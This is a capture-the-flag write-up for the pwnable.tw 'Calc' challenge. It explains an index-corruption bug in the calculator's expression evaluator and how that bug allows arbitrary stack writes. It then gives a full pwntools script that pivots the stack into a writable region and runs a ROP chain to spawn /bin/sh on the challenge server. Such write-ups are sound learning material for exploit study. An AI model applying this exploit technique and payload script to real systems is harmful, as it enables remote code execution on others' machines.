###### tags: `pwnable.tw` `pwn` # Calc **Learning Points:** - Fuzz it a little... - +0 - +10000000 - +++++ - 1+1*1-1 - ... - ## Vulnerability: The vulnerability lies in the `eval` function. ![](https://i.imgur.com/FdxbZiF.png) Looking at the example for `1+2`, ![](https://i.imgur.com/BryCq3q.png) At `0xffffcfe8`, it is tracking which integer to use. This is not especially important for the vulnerability, but you may notice that number increasing if you do something like this `123+1*1+1*1+1*1`. This happens because the calc program tries to do the multiplication before the addition, and would have to keep track of which integer to use. At `0xffffcfe8+4`, its the first integer `1`. At `0xffffcfe8+8`, its the second integer `2`. --- At `calc+134`, the result is preparing to be printed. ![](https://i.imgur.com/aajxgZz.png) In this operation (`mov eax, DWORD PTR [ebp+eax*4-0x59c]`), `eax` is `*0xffffcfe8` which is the place that tracks which integer to use. In normal situations, it is going to be `1` and subtracted with `1` to get `0`. The **main vuln** happens when `*0xffffcfe8` is not `1`. This can happen when we do something like this `+10000`. When this is done, we corrupt the place that tracks which integer to use. Looking at the eval IDA function above, specfically line 5-7: ``` if ( operation == '+' ) { a1[*a1 - 1] += a1[*a1]; } ``` The result of the addition is written to a1[*a1-1]. In the event where we only supply `+10000`, `0xffffcfe8` is the place that track which integer to use. It will be the value of 1. While `0xffffcfe8+4` = `10000`, we will do our addition into `0xffffcfe8` and corrupt that pointer. This pointer is then used in printf later on, and you might be able to notice some form of memory leak. ## Exploitation: Concept of exploitation is to write my rop gadgets into the function `calc`'s stack frame. Since `calc` only exits at `0x8049433` when we supply an invalid express, we can repeatedly write the stack value to make our stack before triggering the exit. --- First we have to locate the stack address. Set a breakpoint at `calc+186`, the stack address at that point of time is `0xffffd58c`. This is at offset `+361`. The way to do an arbitrary write is this: 1) Send `+361+1` 2) Look at the `initial value` at `*0xffffd58c` 3) The target value written = `initial value + 1` Doing this, we will write `0x0804949a(0x08049499+1*4)` into `*0xffffd58c`. And if we supply an invalid expression of `aaaa` next, calc function will ret into what we control. ___ Once we figure that out, we will ROP our way to a shell. Sadly, this binary does not seem to have any libc loaded, which I dont know why. My exploitation technique is this: 1) Locate a code cave in the ELF that is writable. This can be done with running the command `vmmap` in gdb and locate a R/W area. In my case, I found this `0x80ecfc0`. 2) Set up stack as below: ``` stack layout == +0x00: read function (0x0806e6d0) +0x04: stack pivot gadget (return address after read) +0x08: 0 +0x0C: read destination (code cave) +0x010: read size ``` 3) My technique is to return into read and i will send the stage 2 gadgets. I feel this is easier than manually writing using the offset method above. 4) After read is done, I noticed that the address of the code cave is in register ecx. So the stack pivot gadget, I found a `mov esp, ecx ; ret ` gadget. 5) We successfully pivot our stack to the code cave. Now we can just do our normal rop. ## Solution: ``` from pwn import * elf = ELF('./calc') OFFSET_PUTS_PLT = elf.symbols['puts'] OFFSET_READ_PLT = elf.symbols['read'] print("OFFSET_READ_PLT = ", hex(OFFSET_READ_PLT)) #p = gdb.debug('./calc', #''' #break *calc+0xBA #break *eval+0x64 #commands #print("In addition") #x/20wx $eax+$edx*4+0x4 #end #break *eval+0x98 #commands #print("In subtraction") #x/20wx $eax+$edx*4+0x4 #end #continue #''') #p = process('./calc') p = remote('chall.pwnable.tw' ,10100) p.recvuntil(b'calculator') p.sendline(b"+361") #At +361, address = 0x08049499 # Writes read address into return address initialAddress = 0x08049499 readAddress = 0x0806e6d0 offset = readAddress - initialAddress payload = "+361+" + str(offset) payload = payload.encode() p.recv() p.sendline(payload) # Writes a code cave address initialAddress = 0x25237 targetValue = 0x080bc913 #mov esp, ecx ; ret offset = targetValue - initialAddress payload = "+362+" + str(offset) payload = payload.encode() p.recv() p.sendline(payload) ################# CHECK THIS # Writes read size initialAddress = 0x080976dc targetValue = 0 offset = initialAddress - targetValue payload = "+363-" + str(offset) payload = payload.encode() p.recv() p.sendline(payload) # Writes read destination initialAddress = 0x080976dc targetValue = 0x80ecfc0 offset = targetValue - initialAddress payload = "+364+" + str(offset) payload = payload.encode() p.recv() p.sendline(payload) # Writes read size initialAddress = 0x1 targetValue = 0x200 offset = targetValue - initialAddress payload = "+365+" + str(offset) payload = payload.encode() p.recv() p.sendline(payload) # This will terminate calc and return into our read p.sendline(b"aaaa") # Here we send our rop gadget #p.recv() ropGadgets = p32(0x0809c1c2) ropGadgets += p32(0x0809c1c2) ropGadgets += p32(0x0809c1c2) ropGadgets += p32(0x0809c1c2) ropGadgets += p32(0x0809c1c2) ropGadgets += p32(0x0809c1c2) ropGadgets += p32(0x0809c1c2) ropGadgets += p32(0x0809c1c2) ropGadgets += p32(0x0809c1c2) ropGadgets += p32(0x0809c1c2) ropGadgets += p32(0x0809c1c2) ropGadgets += p32(0x080701d0) #pop edx ; pop ecx ; pop ebx ; ret ropGadgets += p32(0x0) ropGadgets += p32(0x0) ropGadgets += p32(0x80ed008) #address of /bin/sh that is after the syscall ropGadgets += p32(0x0805c34b) #pop eax ; ret ropGadgets += p32(0xb) ropGadgets += p32(0x0806dda3) #syscall taken from alarm ropGadgets += b"/bin/sh\x00" p.sendline(ropGadgets) p.interactive() ''' stack == +0x00: read function (0x0806e6d0) +0x04: stack pivot gadget (return address after read) +0x08: 0 +0x0C: read destination (code cave) +0x010: read size ''' ```